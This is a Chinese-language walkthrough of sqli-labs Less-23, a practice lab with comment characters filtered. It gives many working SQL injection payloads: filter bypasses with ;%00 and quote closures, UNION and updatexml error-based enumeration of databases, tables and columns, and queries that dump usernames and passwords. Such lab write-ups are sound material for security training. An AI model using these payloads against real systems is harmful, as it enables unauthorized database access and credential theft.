当前位置: 代码迷 >> 综合 >> sqli-labs Less23 GET-Error based - strip comments
  详细解决方案

sqli-labs Less23 GET-Error based - strip comments

热度:64   发布时间:2024-02-27 08:31:47.0

Less-23 get 方式注入,过滤了注释符

当输入?id=1时,登陆成功

当输入?id=1’ 或 ?id=1’ and 1=1 --+ 或?id=1’ and 1=1 # 均显示错误
可判断闭合方式为 单引号

查看源码发现注释符都被替换为了空格,在这里可以使用另外一种特殊的注释符 ;%00 (英文输入法)。
测试输入 ?id=1’ and 1=1;%00 后可正常显示。
此关也可以基于报错注入、延时注入、利用 or ‘1’='1 进行闭合

方法一:联合查询

语句除了最后的注释符不一样其他的和Less-1的联合查询的方法基本是一样的
下面针对过滤了注释符的情况,采用不同的方法来进行测试

判断列数 :
?id=1’order by 3;%00

?id=1’order by 3 or ‘1’='1

?id=1’order by 1,2,3,'4

测试回显位置 :
?id=-1’union select 1,2,3;%00

?id=-1’union select 1,2,3 or ‘1’='1

?id=-1’union select 1,2,'3

查数据库名:
?id=-1’union select 1,2, database() ;%00

?id=-1’union select 1, database(),3 or ‘1’='1

?id=-1’union select 1, database() ,'3

查表名:
因为这里涉及到where与or语句的混合,只能用双注入即CONCAT子查询。

?id=-1'union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security';%00
?id=-1'union select 1,2, table_name from information_schema.tables where table_schema='security' limit 3,1;%00

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3 or '1'='1

?id=-1%27union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()='1

查字段:

?id=-1'union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users';%00
?id=-1'union select 1,2, column_name from information_schema.columns where table_name='users' limit 4,1;%00

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),3 or '1'='1
?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 2,1),3 or '1'='1

?id=-1%27union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name="users"='1

查数据信息:

?id=-1' union select 1,2,group_concat(concat_ws('-',username,password)) from security.users ;%00
?id=-1' union select 1,2,group_concat(concat_ws('-',username,password)) from users ;%00
?id=-1' union select 1,2,(concat_ws(':-:',username,password)) from users limit 2,1;%00

?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),3 and '1'='1
?id=-1' union select 1,(select concat_ws('::',username,password) from users limit 2,1),3 and '1'='1

?id=-1' union select 1,(select group_concat(concat_ws('::',username,password)) from users),'3'='3
?id=-1' union select 1,(select concat_ws('::',username,password) from users limit 2,1),'3'='3

方法二、报错注入

获取数据库名:

?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1

?id=1' and updatexml(1,concat(0x7e,(database())),1);%00 

?id=1' and updatexml(1,concat(0x7e,(database())),1)='1

获取表名:

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),1) or '1'='1

通过改变limit 后面的数值逐个查询

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),1) ;%00 
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),1)='1

若想获取其他数据,可自行构造相应语句

  相关解决方案